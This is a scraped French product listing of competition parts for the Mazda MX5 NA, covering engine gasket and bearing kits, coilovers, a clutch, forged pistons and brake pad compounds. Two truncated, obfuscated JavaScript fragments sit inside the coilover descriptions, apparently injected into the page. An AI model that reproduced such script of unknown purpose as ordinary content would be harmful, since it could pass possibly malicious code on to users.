Peces detachées sport competition Mazda MX5 NA
Inclus une pochette moteur complète avec joint de culasseun jeu complet de coussinets ACL avec cale de vilebrequinroulement du volant moteur, moteur 1.6segments de pistons
Type monotube pour usage intensif Raideur des ressorts : 10 kgF/mm (avant) et 8 kgF/mm (arrière) Plage de réglage : de 27 à -78 mm (avant) et de -14 à -79 mm (arrière) Compatible système Tein EDFC Fixations des durites de freins identiques à l'origine Piston de large diamètre function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return...
Plage de réglage en hauteur : de -12 à -77 mm (avant) et de 6 à -70 mm (arrière) Raideur des ressorts : 7 kgF/mm (avant) et 6 kgF/mm (arrière) Fixations des durites de freins identiques à l'origine Revêtement anti-corrosion et caches anti-poussière Garantie 1 an Usage quotidien, type confort function _0x3023(_0x562006,_0x1334d6){const...
Embrayage stage1 souple a la pédale et très endurant
Jeu complet avec segments et axes, forgés, détails techniques ci dessous
Jeu complet avec segments et axes, forgés, détails techniques ci dessous
Type ES : 0 à 600°C, sportive et silencieuse Type M : 0/500°C faible poussière, réduit l'usure des disques, usage route, silencieuses. Coef 0,4 Type X : 0/700°c Coef friction 0,60 Type Z : de 0 à 800°c, usage route et piste, freinage très efficace et sans faille en toute circonstance. Type RA/RE/Specom : Usage compétition, type DS Uno, Pagid jaune etc...